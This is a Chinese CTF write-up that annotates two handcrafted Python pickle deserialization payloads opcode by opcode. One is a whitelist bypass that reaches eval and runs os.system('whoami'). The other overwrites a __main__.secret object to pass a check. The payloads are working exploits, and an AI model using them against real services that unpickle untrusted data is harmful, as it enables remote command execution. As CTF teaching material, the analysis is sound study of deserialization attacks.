有一篇很好的文章对此讲的很详细
https://xz.aliyun.com/t/7436#toc-0
此外我对文章中的手写反序列化一块进行一些补充
几道例题Code-Breaking:picklecode
原payload:b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''(建议复制到python去看)
首先要声明的一点是反序列化的利用栈是从底端往上的,清楚汇编的同学应该了解这一点
我的注解
b'''白名单REC
cbuiltins #import
getattr #获取builtins白名单方法getattr
p0 #将getattr压入mem0,字典保存
(cbuiltins mark元素c模块builtins方法dict压栈
dict
S'get' 声明元素字符串'get'
tRp1
# 创建元组(builtins.dict,'get')调用getattr(dict,get)并将结果压入mem0,保存为1号元素
cbuiltins
globals #获取builtins属性globals
)Rp2
# 创建一个空元组,调用globals(), 结果压入mem,保存为2号元素
00g1 #去除栈顶两个元素,将mem1号元素压栈,为dict.get
(g2 #mark g2 取出mem中2号元素压栈并mark,为globals()结果
S'builtins' # 定义字符串对象'builtins'
tRp3
# dict.get(globals(),'builtins')并将结果压入mem3空间。(windows这里实测需要__builtins__
0g0 #清栈,载入g0 getattr
(g3 # 载入g3并mark
S'eval'
tR
# getattr(builtins,'eval')结果压栈
(S'__import__("os").system("whoami")'
tR.
# 压入字符串,命令执行
'''高校战疫网络安全分享赛:webtmp
原payload:
b'''c__main__
secret
(S'name'
S"1"
S"category"
S"2"
db0(S"1"
S"2"
i__main__
Animal
.'''
我的注解
b'''变量覆盖题
c__main__ #导入主模块
secret # 主模块的secret
(S'name'
S"1"
S"category"
S"2"
db0
#d 定义了个字典
#b 覆盖掉secret中的同名字段
#0 清栈
(S"1"
S"2"
i__main__
Animal
#调用验证方法,这就是题目中的验证类了,盲猜类使用了__main__.secret做验证
.'''